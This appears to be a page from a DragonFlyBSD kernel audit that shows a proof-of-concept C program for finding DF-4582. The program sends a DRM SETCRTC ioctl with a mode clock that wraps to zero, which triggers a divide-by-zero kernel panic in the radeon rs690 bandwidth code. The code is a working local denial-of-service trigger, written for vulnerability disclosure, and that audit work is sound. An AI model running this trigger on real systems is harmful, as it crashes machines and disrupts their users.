⬢ DragonFlyBSD Kernel Audit
DF-4582 / setcrtc_clock_wrap.c
← back to finding ↓ download raw
/*
 * DF-4582 — the end-to-end unprivileged trigger for hardware that has an
 * RS690/RS740/RS780/RS880 IGP (radeon KMS, .bandwidth_update = rs690_bandwidth_update).
 *
 * NOT RUNNABLE ON THE AUDIT GUEST: the QEMU guest has no AMD IGP
 * (vgapci0 = 1b36:1234 virtio-vga).  This file documents the exact ioctl
 * sequence that reaches rs690_crtc_bandwidth_compute() with
 * mode->clock = 1048576 kHz on such hardware; every filter on the path
 * was verified absent by source citation (see VERDICT.md):
 *
 *   drm_mode_setcrtc()                    sys/dev/drm/drm_crtc.c:655
 *     -> drm_mode_convert_umode()         sys/dev/drm/drm_modes.c:1691
 *        rejects only clock > INT_MAX     drm_modes.c:1696
 *     -> drm_mode_validate_driver()       drm_modes.c:1145
 *        -> drm_mode_validate_basic()     drm_modes.c:1106
 *           rejects only clock == 0       drm_modes.c:1114
 *        radeon sets no dev->mode_config.funcs->mode_valid
 *                                        (radeon_display.c:1350)
 *     -> crtc helpers commit the mode; PLL programming is best-effort
 *     -> atombios_crtc_dpms -> radeon_pm_compute_clocks  atombios_crtc.c:296
 *     -> radeon_pm_compute_clocks_old (PROFILE)          radeon_pm.c:1753
 *     -> radeon_pm_set_clocks -> radeon_bandwidth_update radeon_pm.c:312
 *     -> rs690_bandwidth_update           rs690.c:583
 *     -> rs690_crtc_bandwidth_compute     rs690.c:329  ** divide by zero **
 *
 * Build: cc -O2 -o setcrtc_clock_wrap setcrtc_clock_wrap.c
 * Run:   ./setcrtc_clock_wrap /dev/dri/card0    (must be drm master =
 *        first/only opener of the node; needs a connected display)
 */
#include <sys/ioctl.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>

/* minimal DRM uapi (linux/drm.h subset, verbatim field layout) */
#define DRM_IOCTL_BASE		'd'
#define DRM_IOC(dir, group, nr, size) ((dir) | ((size) << 16) | ((group) << 8) | (nr))
#define DRM_IOC_READ_WRITE	(IOC_READ|IOC_WRITE)	/* see note */
#define DRM_IO(nr)		DRM_IOC(IOC_VOID, DRM_IOCTL_BASE, (nr), 0)
#define DRM_IOWR(nr, type)	DRM_IOC(IOC_READ|IOC_WRITE, DRM_IOCTL_BASE, (nr), sizeof(type))

struct drm_mode_modeinfo {
	uint32_t clock;
	uint16_t hdisplay, hsync_start, hsync_end, htotal, hskew;
	uint16_t vdisplay, vsync_start, vsync_end, vtotal, vscan;
	uint32_t vrefresh;
	uint32_t flags;
	uint32_t type;
	char name[32];
};
struct drm_mode_crtc {
	uint64_t set_connectors_ptr;
	uint32_t count_connectors;
	uint32_t crtc_id;
	uint32_t fb_id;
	uint32_t x, y;
	uint32_t gamma_size;
	uint32_t mode_valid;
	struct drm_mode_modeinfo mode;
};
#define DRM_IOCTL_MODE_SETCRTC	DRM_IOWR(0x22, struct drm_mode_crtc)

int main(int argc, char **argv)
{
	const char *node = argc > 1 ? argv[1] : "/dev/dri/card0";
	struct drm_mode_crtc c;
	int fd = open(node, O_RDWR);
	int crtc_id = 0, fb_id = 0, conn_id = 0;

	if (fd < 0) { perror("open"); return 1; }
	if (argc > 2) { crtc_id = atoi(argv[2]); fb_id = atoi(argv[3]); conn_id = atoi(argv[4]); }

	/*
	 * operator must first: create a dumb fb (fb_id), find the connected
	 * connector id (conn_id) and crtc id via GETRESOURCES/GETCONNECTOR,
	 * and hold DRM master (drop other X servers/console drivers first).
	 */
	memset(&c, 0, sizeof(c));
	c.crtc_id = crtc_id;
	c.fb_id = fb_id;
	c.count_connectors = 1;
	c.set_connectors_ptr = (uintptr_t)&conn_id;
	c.mode_valid = 1;
	c.mode.clock = 1048576;		/* 2^20 kHz: (u32)(1048576 << 12) == 0 */
	c.mode.hdisplay = c.mode.hsync_start = 640;
	c.mode.hsync_end = c.mode.htotal = 800;
	c.mode.vdisplay = c.mode.vsync_start = 480;
	c.mode.vsync_end = c.mode.vtotal = 525;
	c.mode.vrefresh = 60;
	c.mode.type = 1 /* DRM_MODE_TYPE_USERDEF */;
	strncpy(c.mode.name, "DF4582", 32);

	printf("SETCRTC clock=%u kHz -> expect kernel divide-by-zero panic\n",
	    c.mode.clock);
	if (ioctl(fd, DRM_IOCTL_MODE_SETCRTC, &c) < 0)
		perror("SETCRTC");
	else
		printf("modeset accepted; panic arrives at the next bandwidth "
		    "update (crtc enable / pm profile change)\n");
	close(fd);
	return 0;
}